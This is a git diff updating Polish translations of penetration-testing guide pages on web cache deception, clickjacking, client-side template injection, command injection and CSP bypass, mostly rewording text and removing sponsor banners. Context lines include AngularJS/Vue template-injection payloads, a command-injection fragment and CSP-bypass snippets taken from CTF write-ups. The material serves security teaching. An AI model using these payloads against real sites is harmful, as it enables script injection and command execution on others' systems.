lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo, aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa. -### 403 i kosze pamięci +### 403 i Koszyki przechowywania -Cloudflare wcześniej buforował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była buforowana. Chociaż Cloudflare przestał buforować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy. +Cloudflare wcześniej cache'ował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była cache'owana. Chociaż Cloudflare przestał cache'ować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy. -### Wstrzykiwanie parametrów z kluczem +### Wstrzykiwanie parametrów z kluczami -Pamięci podręczne często zawierają konkretne parametry GET w kluczu pamięci podręcznej. Na przykład, Varnish Fastly buforował parametr `size` w żądaniach. Jednak jeśli wysłano również zakodowaną wersję parametru (np. `siz%65`) z błędną wartością, klucz pamięci podręcznej byłby skonstruowany przy użyciu poprawnego parametru `size`. Jednak backend przetwarzałby wartość w zakodowanym parametrze. Zakodowanie drugiego parametru `size` prowadziło do jego pominięcia przez pamięć podręczną, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało buforowanym błędem 400 Bad Request. +Cache często zawiera konkretne parametry GET w kluczu cache. Na przykład, Varnish Fastly cache'ował parametr `size` w żądaniach. Jednak jeśli wysłano również URL-encoded wersję parametru (np. `siz%65`) z błędną wartością, klucz cache byłby skonstruowany przy użyciu poprawnego parametru `size`. Jednak backend przetwarzałby wartość w URL-encoded parametrze. URL-encoding drugiego parametru `size` prowadził do jego pominięcia przez cache, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało błędem 400 Bad Request, który można było cache'ować. -### Zasady User Agent +### Reguły User Agent -Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że podejście to może wprowadzać luki, takie jak zatrucie pamięci podręcznej i DoS. +Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi narzędziom o dużym ruchu, takim jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że podejście to może wprowadzać luki, takie jak złośliwe cache i DoS. ### Nieprawidłowe pola nagłówków -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i buforuje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzorzec, w którym wysłanie nagłówka z nieprawidłowym znakiem, takim jak `\`, skutkowało buforowanym błędem 400 Bad Request. +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i cache'uje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzór, w którym wysłanie nagłówka z nieprawidłowym znakiem, takim jak `\`, skutkowało cache'owalnym błędem 400 Bad Request. ### Znajdowanie nowych nagłówków [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6) -## Oszustwo pamięci podręcznej +## Oszustwo cache -Celem Oszustwa pamięci podręcznej jest sprawienie, aby klienci **ładowali zasoby, które mają być zapisane w pamięci podręcznej z ich wrażliwymi informacjami**. +Celem Oszustwa cache jest sprawienie, aby klienci **ładowali zasoby, które mają być zapisane w cache z ich wrażliwymi informacjami**. -Przede wszystkim zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **konfigurowane** do **zapisywania** w **pamięci podręcznej.** Dlatego, jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, pamięć podręczna prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Ale, jeśli **aplikacja** odpowiada **wrażliwymi** treściami użytkownika przechowywanymi w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników. +Przede wszystkim zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **konfigurowane** do **zapisywania** w **cache.** Dlatego, jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, cache prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Ale, jeśli **aplikacja** odpowiada **wrażliwymi** treściami użytkownika przechowywanymi w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników. Inne rzeczy do przetestowania: @@ -214,16 +206,16 @@ Inne rzeczy do przetestowania: - _Użyj mniej znanych rozszerzeń, takich jak_ `.avif` Inny bardzo jasny przykład można znaleźć w tym opisie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, taką jak _http://www.example.com/home.php/non-existent.css_, treść _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer pamięci podręcznej zapisze wynik.\ +W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, taką jak _http://www.example.com/home.php/non-existent.css_, treść _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer cache zapisze wynik.\ Następnie **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy uzyskali dostęp wcześniej. -Zauważ, że **proxy pamięci podręcznej** powinno być **skonfigurowane** do **buforowania** plików **na podstawie** **rozszerzenia** pliku (_.css_) i nie na podstawie typu zawartości. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał typ zawartości `text/html` zamiast `text/css` (co jest oczekiwane dla pliku _.css_). +Zauważ, że **proxy cache** powinno być **skonfigurowane** do **cache'owania** plików **na podstawie** **rozszerzenia** pliku (_.css_) a nie na podstawie typu zawartości. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał typ zawartości `text/html` zamiast `text/css` (co jest oczekiwane dla pliku _.css_). -Dowiedz się tutaj, jak przeprowadzać [ataki oszustwa pamięci podręcznej, nadużywając HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). +Dowiedz się tutaj, jak przeprowadzać [ataki Oszustwa cache, nadużywając HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception). ## Narzędzia automatyczne -- [**toxicache**](https://github.com/xhzeem/toxicache): skaner Golang do znajdowania luk w pamięci podręcznej w liście URL i testowania wielu technik wstrzykiwania. +- [**toxicache**](https://github.com/xhzeem/toxicache): skaner Golang do znajdowania podatności na złośliwe cache w liście URL i testowania wielu technik wstrzykiwania. ## Odniesienia @@ -234,12 +226,5 @@ Dowiedz się tutaj, jak przeprowadzać [ataki oszustwa pamięci podręcznej, nad - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 8b00aa9c7..a7d39df8e 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
+## Co to jest Clickjacking -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %} - -## Czym jest Clickjacking - -W ataku clickjacking **użytkownik** jest **oszukiwany** do **kliknięcia** w **element** na stronie internetowej, który jest albo **niewidoczny**, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, podanie danych logowania lub wrażliwych informacji, transfery pieniędzy lub zakupy produktów online. +W ataku clickjacking, **użytkownik** jest **oszukiwany** w celu **kliknięcia** w **element** na stronie internetowej, który jest albo **niewidoczny**, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, udostępnienie danych logowania lub wrażliwych informacji, przelewy pieniędzy lub zakupy produktów online. ### Sztuczka z prewypełnieniem formularzy @@ -20,7 +12,7 @@ Czasami możliwe jest **wypełnienie wartości pól formularza za pomocą parame ### Wypełnij formularz za pomocą Drag\&Drop -Jeśli potrzebujesz, aby użytkownik **wypełnił formularz**, ale nie chcesz bezpośrednio prosić go o wpisanie jakichś konkretnych informacji (jak e-mail czy konkretne hasło, które znasz), możesz po prostu poprosić go o **Drag\&Drop** coś, co zapisze twoje kontrolowane dane, jak w [**tym przykładzie**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). +Jeśli potrzebujesz, aby użytkownik **wypełnił formularz**, ale nie chcesz bezpośrednio prosić go o wpisanie jakichś konkretnych informacji (jak e-mail lub konkretne hasło, które znasz), możesz po prostu poprosić go o **Drag\&Drop** coś, co zapisze twoje kontrolowane dane, jak w [**tym przykładzie**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). ### Podstawowy ładunek ```markup @@ -136,7 +128,7 @@ Nagłówek odpowiedzi HTTP **`X-Frame-Options`** informuje przeglądarki o legal - `X-Frame-Options: allow-from https://trusted.com` - Tylko określony 'uri' może osadzić stronę. - Zauważ ograniczenia: jeśli przeglądarka nie obsługuje tej dyrektywy, może nie działać. Niektóre przeglądarki preferują dyrektywę CSP frame-ancestors. -#### Dyrektywa frame-ancestors w Polityce Bezpieczeństwa Treści (CSP) +#### Dyrektywa frame-ancestors w polityce bezpieczeństwa treści (CSP) Dyrektywa **`frame-ancestors` w CSP** jest zalecaną metodą ochrony przed Clickjacking: @@ -150,9 +142,9 @@ Na przykład, poniższa CSP zezwala tylko na osadzanie z tej samej domeny: Dalsze szczegóły i złożone przykłady można znaleźć w [dokumentacji frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) oraz [dokumentacji frame-ancestors Mozilli](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors). -### Polityka Bezpieczeństwa Treści (CSP) z `child-src` i `frame-src` +### Polityka bezpieczeństwa treści (CSP) z `child-src` i `frame-src` -**Polityka Bezpieczeństwa Treści (CSP)** to środek bezpieczeństwa, który pomaga zapobiegać Clickjacking i innym atakom wstrzykiwania kodu, określając, które źródła przeglądarka powinna zezwolić na ładowanie treści. +**Polityka bezpieczeństwa treści (CSP)** to środek bezpieczeństwa, który pomaga zapobiegać Clickjacking i innym atakom wstrzykiwania kodu, określając, które źródła przeglądarka powinna zezwolić na ładowanie treści. #### Dyrektywa `frame-src` @@ -165,22 +157,22 @@ Ta polityka pozwala na ramki z tego samego pochodzenia (self) oraz https://trust #### Dyrektywa `child-src` -- Wprowadzona w poziomie 2 CSP w celu ustawienia ważnych źródeł dla pracowników sieciowych i ramek. +- Wprowadzona w CSP poziom 2, aby ustawić ważne źródła dla pracowników sieciowych i ramek. - Działa jako zapas dla frame-src i worker-src. ``` Content-Security-Policy: child-src 'self' https://trusted-website.com; ``` Ta polityka pozwala na ramki i pracowników z tego samego pochodzenia (self) oraz https://trusted-website.com. -**Uwagi dotyczące użycia:** +**Uwagi dotyczące użytkowania:** - Deprecjacja: child-src jest stopniowo wycofywane na rzecz frame-src i worker-src. -- Zachowanie w przypadku braku: Jeśli frame-src jest nieobecny, child-src jest używane jako zapasowe dla ramek. Jeśli oba są nieobecne, używane jest default-src. +- Zachowanie w przypadku braku: Jeśli frame-src jest nieobecne, child-src jest używane jako zapasowe dla ramek. Jeśli oba są nieobecne, używane jest default-src. - Ścisła definicja źródła: Uwzględnij tylko zaufane źródła w dyrektywach, aby zapobiec wykorzystaniu. -#### Skrypty JavaScript łamiące ramki +#### Skrypty JavaScript do łamania ramek -Chociaż nie są całkowicie niezawodne, oparte na JavaScript skrypty łamiące ramki mogą być używane do zapobiegania osadzaniu strony internetowej w ramkach. Przykład: +Chociaż nie są całkowicie niezawodne, skrypty oparte na JavaScript do łamania ramek mogą być używane do zapobiegania osadzaniu strony internetowej w ramkach. Przykład: ```javascript if (top !== self) { top.location = self.location @@ -188,19 +180,11 @@ top.location = self.location ``` #### Wykorzystanie tokenów Anti-CSRF -- **Walidacja tokenów:** Używaj tokenów anti-CSRF w aplikacjach internetowych, aby zapewnić, że żądania zmieniające stan są wykonywane celowo przez użytkownika, a nie przez stronę Clickjacked. +- **Walidacja tokenów:** Użyj tokenów anti-CSRF w aplikacjach internetowych, aby upewnić się, że żądania zmieniające stan są dokonywane celowo przez użytkownika, a nie przez stronę Clickjacked. -## Odniesienia +## References - [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking) - [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html) -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 466cf3110..3d2da4fc6 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -2,11 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -Pogłęb swoją wiedzę w zakresie **Bezpieczeństwa Mobilnego** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} ## Podsumowanie @@ -18,7 +13,7 @@ Jest to jak [**Wstrzykiwanie szablonów po stronie serwera**](ssti-server-side-t AngularJS to powszechnie używany framework JavaScript, który interaguje z HTML za pomocą atrybutów znanych jako dyrektywy, z których jedną jest **`ng-app`**. Ta dyrektywa pozwala AngularJS przetwarzać zawartość HTML, umożliwiając wykonywanie wyrażeń JavaScript wewnątrz podwójnych klamr. -W scenariuszach, w których dane wejściowe użytkownika są dynamicznie wstawiane do ciała HTML oznaczonego `ng-app`, możliwe jest wykonywanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS w danych wejściowych. Poniżej znajdują się przykłady ilustrujące, jak można wykonywać kod JavaScript: +W scenariuszach, w których dane wejściowe użytkownika są dynamicznie wstawiane do ciała HTML oznaczonego `ng-app`, możliwe jest wykonywanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS w danych wejściowych. Poniżej znajdują się przykłady ilustrujące, jak można wykonać kod JavaScript: ```javascript {{$on.constructor('alert(1)')()}} {{constructor.constructor('alert(1)')()}} @@ -30,7 +25,7 @@ W scenariuszach, w których dane wejściowe użytkownika są dynamicznie wstawia Możesz znaleźć bardzo **podstawowy przykład online** tej podatności w **AngularJS** w [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) oraz w [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) > [!CAUTION] -> [**Angular 1.6 usunął sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), więc od tej wersji ładunek taki jak `{{constructor.constructor('alert(1)')()}}` lub `` powinien działać. +> [**Angular 1.6 usunął piaskownicę**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html), więc od tej wersji ładunek taki jak `{{constructor.constructor('alert(1)')()}}` lub `` powinien działać. ## VueJS @@ -42,7 +37,7 @@ A **kod źródłowy** podatnego przykładu tutaj: [https://github.com/azu/vue-cl ">
aaa
``` -Bardzo dobry post na temat CSTI w VUE można znaleźć w [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +Naprawdę dobry post na temat CSTI w VUE można znaleźć w [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) ### **V3** ``` @@ -80,10 +75,5 @@ javascript:alert(1)%252f%252f..%252fcss-images {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} -
- -Zgłębiaj swoją wiedzę w **Mobile Security** z 8kSec Academy. Opanuj bezpieczeństwo iOS i Androida dzięki naszym kursom w trybie samodzielnym i zdobądź certyfikat: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index fbae8360e..a28823d63 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -2,21 +2,14 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Czym jest wstrzykiwanie poleceń? -**Wstrzykiwanie poleceń** pozwala na wykonanie dowolnych poleceń systemu operacyjnego przez atakującego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą być całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem bazowym. +**Wstrzykiwanie poleceń** pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą być całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem bazowym. ### Kontekst -W zależności od **tego, gdzie wprowadzane są dane** możesz potrzebować **zakończyć cytowany kontekst** (używając `"` lub `'`) przed poleceniami. +W zależności od **tego, gdzie wprowadzane są dane** możesz potrzebować **zakończyć kontekst cytatu** (używając `"` lub `'`) przed poleceniami. ## Wstrzykiwanie poleceń/Wykonanie ```bash @@ -39,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Ominięcia** ograniczeń -Jeśli próbujesz wykonać **dowolne polecenia wewnątrz maszyny linux** zainteresuje Cię przeczytanie o tych **Ominięciach:** +Jeśli próbujesz wykonać **dowolne polecenia wewnątrz maszyny linux** będziesz zainteresowany tymi **Ominięciami:** {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -135,11 +128,3 @@ powershell C:**2\n??e*d.*? # notepad - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) {{#include ../banners/hacktricks-training.md}} - -
- -**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 7f416a86e..585f052a4 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -1,25 +1,10 @@ -# Obejście Polityki Bezpieczeństwa Treści (CSP) +# Content Security Policy (CSP) Bypass {{#include ../../banners/hacktricks-training.md}} -
+## Co to jest CSP -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zgłębiają emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - -## Czym jest CSP - -Polityka Bezpieczeństwa Treści (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`. +Content Security Policy (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak cross-site scripting (XSS)**. Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`. Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez włączenie **elementów meta do strony HTML**. Zgodnie z tą polityką, przeglądarki proaktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia. @@ -59,21 +44,21 @@ object-src 'none'; - **child-src**: Określa dozwolone zasoby dla pracowników sieciowych i zawartości osadzonych ramek. - **connect-src**: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest. - **frame-src**: Ogranicza adresy URL dla ramek. -- **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, stosowane do elementów takich jak ``, ` // The bot will load an URL with the payload @@ -557,13 +542,13 @@ run() ``` ### Via Bookmarklets -Ten atak wymagałby pewnego inżynierii społecznej, w której atakujący **przekonuje użytkownika do przeciągnięcia i upuszczenia linku na bookmarklet przeglądarki**. Ten bookmarklet zawierałby **złośliwy kod javascript**, który po przeciągnięciu lub kliknięciu byłby wykonywany w kontekście bieżącego okna przeglądarki, **omijając CSP i pozwalając na kradzież wrażliwych informacji** takich jak ciasteczka czy tokeny. +Ten atak wymagałby pewnego inżynierii społecznej, w której atakujący **przekonuje użytkownika do przeciągnięcia i upuszczenia linku na bookmarklet przeglądarki**. Ten bookmarklet zawierałby **złośliwy kod javascript**, który po przeciągnięciu lub kliknięciu byłby wykonywany w kontekście bieżącego okna przeglądarki, **omijając CSP i pozwalając na kradzież wrażliwych informacji** takich jak ciasteczka lub tokeny. -Dla uzyskania więcej informacji [**sprawdź oryginalny raport tutaj**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). +Aby uzyskać więcej informacji [**sprawdź oryginalny raport tutaj**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### CSP bypass by restricting CSP -W [**tym opisie CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest omijane przez wstrzyknięcie wewnątrz dozwolonego iframe bardziej restrykcyjnego CSP, które zabraniało ładowania konkretnego pliku JS, który następnie, poprzez **zanieczyszczenie prototypu** lub **dom clobbering**, pozwalał na **wykorzystanie innego skryptu do załadowania dowolnego skryptu**. +W [**tym opisie CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest omijany przez wstrzyknięcie wewnątrz dozwolonego iframe bardziej restrykcyjnego CSP, które zabraniało ładowania konkretnego pliku JS, który następnie, poprzez **zanieczyszczenie prototypu** lub **dom clobbering**, pozwalał na **wykorzystanie innego skryptu do załadowania dowolnego skryptu**. Możesz **ograniczyć CSP iframe** za pomocą atrybutu **`csp`**: ```html @@ -571,8 +556,8 @@ Możesz **ograniczyć CSP iframe** za pomocą atrybutu **`csp`**: src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` -W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **iniekcję HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerability stała się wykonalna.**\ -CSP można uczynić bardziej restrykcyjnym, używając **tagów meta HTML**, a skrypty inline można wyłączyć **usuwając** **wejście** pozwalające na ich **nonce** oraz **włączając konkretny skrypt inline za pomocą sha**: +W [**tym opisie CTF**](https://github.com/aszx87410/ctf-writeups/issues/48) możliwe było poprzez **wstrzykiwanie HTML** **ograniczenie** bardziej **CSP**, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem **vulnerability stała się wykonalna.**\ +CSP można uczynić bardziej restrykcyjnym, używając **tagów meta HTML**, a skrypty inline można wyłączyć **usuwając** **wejście** pozwalające na ich **nonce** i **włączając konkretny skrypt inline za pomocą sha**: ```html
- -Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów! - -**Wgląd w Hacking**\ -Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem - -**Aktualności Hackingowe w Czasie Rzeczywistym**\ -Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom - -**Najnowsze Ogłoszenia**\ -Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platformy - -**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! - -## Niebezpieczne Technologie do Ominięcia CSP +## Niebezpieczne technologie do obejścia CSP ### Błędy PHP przy zbyt wielu parametrach @@ -638,9 +608,9 @@ Technika polega zasadniczo na **wypełnieniu bufora odpowiedzi ostrzeżeniami**, Pomysł z [**tego opisu**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). -### Przepisz stronę błędu +### Przepisanie strony błędu -Z [**tego opisu**](https://blog.ssrf.kr/69) wygląda na to, że możliwe było ominięcie ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej treści. +Z [**tego opisu**](https://blog.ssrf.kr/69) wygląda na to, że możliwe było obejście ochrony CSP poprzez załadowanie strony błędu (potencjalnie bez CSP) i przepisanie jej treści. ```javascript a = window.open("/" + "x".repeat(4100)) setTimeout(function () { @@ -657,7 +627,7 @@ SOME to technika, która wykorzystuje XSS (lub mocno ograniczone XSS) **w punkci Ponadto, **wordpress** ma punkt końcowy **JSONP** w `/wp-json/wp/v2/users/1?_jsonp=data`, który **odzwierciedli** **dane** wysłane w odpowiedzi (z ograniczeniem do liter, cyfr i kropek). -Atakujący może wykorzystać ten punkt końcowy do **wygenerowania ataku SOME** przeciwko WordPressowi i **osadzić** go w 